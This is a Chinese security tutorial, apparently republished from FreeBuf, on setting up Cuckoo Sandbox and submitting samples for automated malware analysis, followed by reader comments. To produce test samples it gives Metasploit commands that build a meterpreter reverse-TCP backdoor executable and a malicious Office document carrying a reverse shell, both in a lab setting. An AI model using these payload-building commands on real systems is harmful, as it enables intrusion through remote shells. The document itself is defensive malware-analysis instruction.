CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

沙箱

2017年5月23日 1130点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

布谷鸟沙箱初体验

ExpLife2016-12-26共240611人围观 ,发现 30 个不明物体系统安全

* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载

简介

安全研究员平时在进行恶意代码分析的时候,为了避免过多重复繁杂的人工分析,首先会使用沙箱进行自动化分析,如果碰到比较新颖的样本,再考虑进一步人工分析。最近笔者体验了一下布谷鸟这款开源的沙箱即cuckoo sandbox,按照官方文档搭建环境的时候遇到了各种各样安装报错的情况,所以笔者将成功搭建流程以及自动化分析样本的流程记录了下来。

在Ubuntu中部署沙箱环境

由于笔者的物理机是windows 7 x64,所以首先安装VMware,然后使用VMware创建Ubuntu虚拟机环境.

VMware下载地址:https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.0-4352439.exe,注册码在网上搜索

Ubuntu下载地址:http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-amd64.iso

Ubuntu的配置要求:

双核
2G内存
50G硬盘

在windows中使用VMware创建Ubuntu虚拟机非常简单,一直下一步就行了,这里笔者不再赘述.

下面开始在Ubuntu中部署沙箱,由于cuckoo sanbox这款沙箱是基于python环境的,所以我们需要安装很多依赖包。

在命令行shell中依次执行以下系列命令:

安装python

apt-get install python

安装并更新pip(方便管理和安装python的各种包)

apt-get install python-pip
pip install --upgrade pip

安装沙盒相关的依赖模块和工具

sqlalchemy:数据库组件

dpkt:该库用于从PCAP文件中提取信息

jinja2:该库用于渲染HTML报告以及web接口

magic:该库用于识别文件格式

ssdeep:该库用于计算文件的hash

pydeep:该库用于计算文件的ssdeep哈希

pymongo:该库用于存储MongoDB数据库的结果

yara:该库用于匹配yara的特征码

libvirt:该库用于KVM机器的管理

bottepy:该库用于使用web.py以及api.py

pefile:该库用于PE32二进制文件的静态分析

注意:magic和libvirt不能使用pip安装

安装magic,libvirt,ssdeep

apt-get install python-magic python-libvirt ssdeep

安装sqlalchemy,dpkt,jinja2,pymongo,bottle,pefile

pip install sqlalchemy dpkt jinja2 pymongo bottle pefile 

安装pydeep

首先需要安装几个依赖项

apt-get install build-essential git libpcre3 libpcre3-dev libpcre++-dev  python-dev libfuzzy-dev

接着将pydeep下载到opt目录下

git clone https://github.com/kbandla/pydeep.git pydeep
cd /opt/pydeep/
python setup.py build
python setup.py install

安装yara

还是先安装几个依赖项

apt-get install automake libtool make gcc

由于yara原来svn的项目需要翻墙,这里笔者使用了github的下载地址:

https://github.com/VirusTotal/yara

下载完毕以后将其放到/opt目录下

tar -zxf yara-3.5.0.tar.gz 
cd yara-3.5.0/
./bootstrap.sh

如果想修改yara的源代码还需要flex,bison这两个包用于语法解析

apt-get install flex bison

接着编译安装yara:

./configure
make
make install

然后测试是否安装成功

make check

如果注意前面的编译安装结果的话会发现有缺少OpenSSL库的警告,这里我们安装一下

apt-get install libssl-dev

接下来安装yara-python

pip install yara-python

安装tcpdump用于dump网络通讯状况

apt-get install tcpdump

安装配置沙箱

下载地址:

https://cuckoosandbox.org/#downloads

接着将其放到/opt目录下,解压之

tar -zxvf cuckoo-current.tar.gz

安装配置客户机

首先我们需要安装VirtualBox这个虚拟机软件的Ubuntu版本

下载地址:http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb

下载完毕以后将其拷贝到/opt目录下,接着安装

dpkg -i virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb

然后使用VirtualBox安装windows xp sp3英文版(因为metasploit下生成的很多nday样本目标都是英文版系统和软件)

windows xp sp3 en下载地址:ed2k://|file|en_windows_xp_professional_with_service_pack_3_x86_cd_x14-80428.iso|617756672|2A30BB63730F7887E1AC54363A8489C2|/

windows xp sp3的配置要求:

单核
512内存
10G硬盘网络模式:Host only

xp安装好以后,需要安装VirtualBox增强工具(类似于VMware的VMware Tools)

2.png

安装完增强工具后我们才能对宿主机和客户机建立共享文件夹

建立文件夹依次选择VirtualBox菜单项中的Machine-Setting-Shared Folders,设置如下:

3.png

配置客户机:

1.为windows安装python

下载地址:https://www.python.org/ftp/python/2.7.13/python-2.7.13.msi

2.安装PIL(Python截屏库)

下载地址:http://effbot.org/media/downloads/PIL-1.1.7.win32-py2.7.exe

3.关闭windows自动更新

4.关闭windows防火墙

5.安装第三方应用程序(MS Office 2003/2007,Adobe Reader 9.3.4,Firefox 3.6等,可以到http://www.oldapps.com这个网站去下载旧的软件)

6.Ubuntu  /opt/cuckoo/agent目录下的agent.py拷贝到客户机中的c:\python27目录下去,并将agent.py重命名为agent.pyw,这样运行的时候就不会显示控制台窗口了

7.将Python根目录下的agent.pyw的快捷方式放到启动文件夹中去

运行agent.pyw后,我们使用netstat -an命令会发现本地的8000端口正在处于监听状态中

接着将IP配置为192.168.56.101

别忘了对客户机做一个快照,取名为snapshot1,后面对沙箱的配置中会用到.

配置该虚拟机的网络模式为Host-only: 宿主机192.168.56.1 客户机192.168.56.101,确保彼此能ping通

接下来回到Ubuntu中,使用Iptables配置宿主机IP的转发和过滤规则:

iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A POSTROUTING -t nat -j MASQUERADE
sysctl -w net.ipv4.ip_forward=1

下来继续配置沙箱

安装requests包(用于http请求)

git clone https://github.com/kennethreitz/requests.git requests
cd requests
python setup.py install

安装dateutil包

pip install python-dateutil

修改沙箱根目录下的conf文件夹中的virtualbox.conf文件

将label = cuckoo1修改为label = 创建虚拟机时候的名称(笔者这里是Windows-cuckoo)

更新沙箱

cd /opt/cuckoo
./utils/community.py -wafb monitor

这个更新操作可能等待的时候比较长

运行沙箱:

/opt/cuckoo/cuckoo.py

4.png

像这样表示沙箱启动成功,正在等待提交样本.

提交样本的web页面(比命令行提交样本更加方便)

要成功运行web管理页面需要安装django 1.85版本,高版本页面渲染会错乱,还需要安装mongodb的数据库软件.这两个软件的安装的过程不再赘述,见下面的参考文章.

启动web页面服务的命令:

python /opt/cuckoo/web/manage.py runserver

效果如下:

5.png

使用沙箱自动分析恶意样本

提交样本的基本命令:

./utils/submit.py /path/to/binary

提交一个URL:

./utils/submit.py --url http://www.example.com

提交一个本地二进制文件并且指定更高的优先级

./utils/submit.py --priority 5 /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析超时时间为2分钟:

./utils/submit.py --timeout 120 /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析包格式(applet/bin/dll/doc/exe/html/ie/jar/pdf/xls/zip):

./utils/submit.py --package <name of package> /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析包格式以及若干选项(这里,指定恶意程序的命令行参数)

./utils/submit.py --package exe --options arguments=--dosomething /path/to/binary.exe

提交一个本地二进制运行在名称为Windows-cuckoo的虚拟机中:

./utils/submit.py --machine Windows-cuckoo /path/to/binary

提交一个本地二进制运行在特定的机器中(Windows/Darwin/Linux),这里我们用Windows:

./utils/submit.py --platform windows /path/to/binary

提交一个本地二进制并且抓取分析机器的完整内存dump文件:

./utils/submit.py --memory /path/to/binary

提交一个本地二进制并且强制执行分析完全超时(忽略cuckoo内存决定何时终止分析的机制):

./utils/submit.py --enforce-timeout /path/to/binary

下面我们尝试提交各种恶意样本

这里为了方便测试各种恶意样本,笔者使用Kali 2.0中的metasploit来生成恶意样本.

Kali 2.0的安装教程网上非常多,这里笔者不再赘述.

我们首先需要更新Kali,这样metasploit等工具就会是最新版本的了

更新Kali 2.0

首先我们要修改更新的源,不让更新会很慢,这里笔者修改为阿里云的源了

vim /etc/apt/sources.list

然后输入100dd删除该文件中的所有内容.

接着在该文件中输入阿里云的源:

deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

接着输入:wq保存该文件

然后更新Kali即可

apt-get update
apt-get upgrade
apt-get dist-upgrade 
apt-get clean

更新完毕以后即可利用shell打开metasploit控制台

msfconsole

6.png

可以看到metasploit已经更新到最新版本了.

利用metasploit生成word,pdf,excel,exe样本

利用msfvenom生成exe后门程序并提交到沙箱

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f exe > malware.exe

接着将该exe提交到沙箱中

/opt/cuckoo/utlils/submit.py /opt/samples/malware.exe

过一会儿就分析完成了

到cuckoo/storage/analyses/1/reports下面去找到report.html这个报告文件即可,这个1对应与提交时候对应的编号

7.png

这里我们可以看到这是一个PE文件.继续往下看

8.png

可以看到反弹的IP地址定位出来了.

下面还有样本调用相关系统API函数的情况

9.png

这里VirusTotal没有结果是因为现在访问它需要注册帐号还有对应key了,所以笔者这里并没有显示出结果,我们可以选用下面的这些扫描网站

https://www.metadefender.com

http://www.virscan.org/

利用metasploit生成doc,excel,pdf样本并提交沙箱

在metasploit的控制台下输入

search office

也可以搜索任意指定的搜索项

search ms08_067

可以看到结果中有很多office相关的漏洞利用代码

10.png

这里笔者选用ms09_067_excel_featheader这个漏洞利用模块,使用use命令表示将指定exploit设置为待用状态

use exploit/windows/fileformat/ms11_006_createsizeddibsection

接着查看一下能够攻击的目标操作系统版本

show targets

12.png

可以看到有XP SP3,接着查看一下需要设置哪些选项

show options

13.png

可以看到只需要设置生成的doc命令,我们这里将名称设置为malware.doc

set FILENAME malware.doc

接着需要设置payload,也就是需要使用完成什么任务的shellcode,这里我们先查看一下有哪些payload可以使用

show payloads

14.png

这里笔者使用这个反弹的shell,所以将payload设置为它

set payload windows/shell/reverse_tcp

接着查看一下该payload需要设置什么选项,一般来说有反弹端口什么的

show options

15.png

可以看到本地端口默认的为4444,我们只需要设置一下反弹的IP地址即可,这里笔者设置为kali的ip地址

set LHOST 192.168.56.102

接着生成该漏洞利用的样本

exploit

16.png

生成pdf,excel样本的流程同上所述,这里笔者不再赘述.

接下来将doc,pdf,excel样本依次提交沙箱分析

/opt/cuckoo/utlils/submit.py /opt/samples/malware.doc
/opt/cuckoo/utlils/submit.py /opt/samples/malware.pdf
/opt/cuckoo/utlils/submit.py /opt/samples/malware.xls

分析结果如下:

17.png

18.png

20.png

该沙箱还可以用于分析指定网页是否被挂马,嘿嘿,可以对童鞋们收藏的某些爱情动作片网站进行提交分析.

总结

使用该沙箱对样本进行初略的分析还是挺方便的.该沙箱还可以与Volatility工具进行配合使用,Volatility这款python工具是一款非常强大的内存取证分析工具,支持对linux,windows,macos等系统的内存取证分析.

后续文章笔者再一一介绍.

参考链接:

http://docs.cuckoosandbox.org/en/latest/

http://www.freebuf.com/sectool/108533.html

http://blog.csdn.net/qq_21127151/article/details/51600319

http://blog.csdn.net/donggege214/article/details/52679229

* 本文原创作者:ExpLife,本文属FreeBuf原创奖励计划,未经许可禁止转载

ExpLife

ExpLife5 篇文章等级: 3级
|
|
  • 上一篇:这个300美金的设备能够在30秒内窃取你的Mac密码(含攻击演示视频)
  • 下一篇:恶意程序伪装成 Windows“另存为”对话框欺骗用户

这些评论亮了

  • evil7(5级)入梦落樱满熏香,梦醒犹记四月谎回复
    7月份也有一篇Cuckoo的入坑,可供各位bufer参考:
    传送门:http://www.freebuf.com/sectool/108533.html
    安装过程可以简化一下,貌似不用翻墙了吧,都直接pip装就行,官方有package需求列表:
    传送门:https://github.com/cuckoosandbox/cuckoo/blob/master/requirements.txt
    顺便提醒大家一蛤,URL选项是分析远程可下载的执行文件,或者网页调用了其他web组件造成溢出问题或者存在请求可疑行为的页面的。
    作者这样写,怕是bufer们会以为可以扫嘿嘿网的webshell,一会儿都兴致勃勃的冲着扫人家后门去了,那就尴尬了。
    (也说不定哪天,就有个执着的小伙子扫到个远程可执行0day~这个嘛,请多扫扫老毛子的嘿嘿网,或者某个居然完全不需要你交互的钓鱼网站)
    )7(亮了
发表评论

已有 30 条评论

  • Netfairy 2016-12-26回复1楼

    安神出品,必属精品!

    亮了(5)
  • Jee 2016-12-26回复2楼

    安神出品,必属精品!

    亮了(4)
  • yllen 2016-12-26回复3楼

    可以,这个很强势

    亮了(3)
  • 精神领袖涛 2016-12-26回复4楼

    安神出品,必属精品!

    亮了(3)
  • evil7 (5级)入梦落樱满熏香,梦醒犹记四月谎 2016-12-26回复5楼

    7月份也有一篇Cuckoo的入坑,可供各位bufer参考:
    传送门:http://www.freebuf.com/sectool/108533.html
    安装过程可以简化一下,貌似不用翻墙了吧,都直接pip装就行,官方有package需求列表:
    传送门:https://github.com/cuckoosandbox/cuckoo/blob/master/requirements.txt
    顺便提醒大家一蛤,URL选项是分析远程可下载的执行文件,或者网页调用了其他web组件造成溢出问题或者存在请求可疑行为的页面的。
    作者这样写,怕是bufer们会以为可以扫嘿嘿网的webshell,一会儿都兴致勃勃的冲着扫人家后门去了,那就尴尬了。
    (也说不定哪天,就有个执着的小伙子扫到个远程可执行0day~这个嘛,请多扫扫老毛子的嘿嘿网,或者某个居然完全不需要你交互的钓鱼网站)

    亮了(7)
  • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2016-12-26回复6楼

    @evil7 学习了

    亮了(1)
  • 大魔包 (1级) 2016-12-26回复7楼

    安神出品,必属精品!

    亮了(2)
  • 颜了个身寸 2016-12-26回复8楼

    厉害了 我的安

    亮了(2)
  • 墨霝 (2级) 2016-12-26回复9楼

    那啥,直接来个虚拟机rar也是极好的。

    亮了(0)
  • 临时演员 2016-12-26回复10楼

    这个文章很FreeBuf

    亮了(1)
  • freebuf 2016-12-26回复11楼

    安神出品,屄属精品!

    亮了(3)
  • hasbug (1级) 2016-12-26回复12楼

    安神出品,必属精品!

    亮了(2)
  • evilknight (2级) 2016-12-26回复13楼

    看完了,写得挺细的。

    亮了(1)
  • unsummon (1级) 2016-12-26回复14楼

    安神出品,必属精品!前排支持!

    亮了(1)
  • 木千之 (4级)人,既无虎狼之爪牙,亦无狮象之力量,却能擒狼缚虎,驯狮猎象,... 2016-12-27回复15楼

    十分详细,点赞!

    亮了(0)
  • Green_m (2级) 2016-12-27回复16楼

    感觉cockoo的亮点在于能生成dmp,配合Volatility,用来补充黑盒分析很好用,尤其是meterpreter这种内存操作木马。期待作者再出一篇Volatility的攻略

    亮了(0)
  • Anonymous 2016-12-28回复17楼

    http://sandbox.pikker.ee/
    :cool:

    亮了(0)
  • cyker (1级) 2016-12-29回复18楼

    我想问下,刚开始不还是 vm 么,怎么又变成 vbox 安装 xp 了。。

    亮了(0)
  • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2016-12-29回复19楼

    @cyker 物理机win7->vmware->Ubuntu虚拟机->virtualbox->xp客户机

    如果你物理是linux机器的话,那就直接装VirutalBox,然后里面装其他虚拟机作为客户机

    亮了(0)
    • cyker (1级) 2016-12-29回复

      @ ExpLife  抱歉,没看清。。我操作下来,发现Ubuntu 里的 virtualbox 启动不了。。双击在左侧菜单栏里闪了下就没了。。。不知啥原因

      亮了(0)
    • cyker (1级) 2016-12-29回复

      @ ExpLife  问题已解决。一个包没安装好。非常感谢

      亮了(0)
  • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2016-12-29回复20楼

    @cyker 遇到什么问题,在下面跟帖就行.我看到会回复的 :cool:

    亮了(0)
    • cyker (1级) 2017-01-03回复

      @ ExpLife 

      我两次重新安装都报这个错误,不知哪里设置错误了,请教一下

      亮了(0)
      • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2017-01-05回复

        @ cyker  看你xp虚拟机安装的目录下文件夹的名称是什么

        亮了(0)
      • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2017-01-05回复

        @ cyker  找到你XP虚拟机当时指定的生成目录… 看看你的***.vmx这个文件前面的名称是什么,这个label设置成它就行了

        亮了(0)
      • cyker (1级) 2017-01-09回复

        @ ExpLife  我是virtualbox,只有 vbox 格式的文件,没有vmx。不知大神方便 qq 或者微信交流么。非常感谢~

        亮了(0)
      • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2017-01-09回复

        @ cyker  你这个xp名称貌似是对的,你指定了快照名称吗?

        亮了(1)
  • testmyh31rts 2017-01-03回复21楼

    是将cuckoo做成分布式的么? 我做成分布式的总有结点用不了。。。可否加你的微信,请教请教 :grin:

    亮了(0)
    • ExpLife (3级)Freebuf社区:ExpLife Github:http... 2017-01-05回复

      @ testmyh31rts 我这个没有做成分布式的,直接就是本地的环境… 单独自己用不必做成分布式的

      亮了(0)
  • 五乘七404 (1级) 2017-01-11回复22楼

    在启动布谷鸟沙箱后,提交了病毒样本,没有出现.html的报告,只有如图的情况

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

ExpLife

ExpLife

Freebuf社区:ExpLife Github:https://github.com/ExpLife

5 篇文章27 条评论

相关阅读

  • 布谷鸟沙箱初体验
  • 如何破解Ubuntu磁盘加密和用户密码
  • 看一看这款Proton.B恶意软件会在你的Mac OS上干些什么坏事
  • 知名商业软件“喂养”病毒产业链:“Toxik”病毒追踪
  • 盗版用户面临的“APT攻击”风险

特别推荐

关注我们 分享每日精选文章

不容错过

  • 开源项目CodeCombat:玩游戏就能学会编程破军刀2014-03-11
  • “中国”制造:悍马(Hummer)病毒家族技术分析报告猎豹移动威胁情报中心2016-07-07
  • 揭秘:Hacking Team远控窃听程序(RCS)的全球热销之路dawner2015-07-15
  • 闲话文件上传漏洞sarleon2017-03-13

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me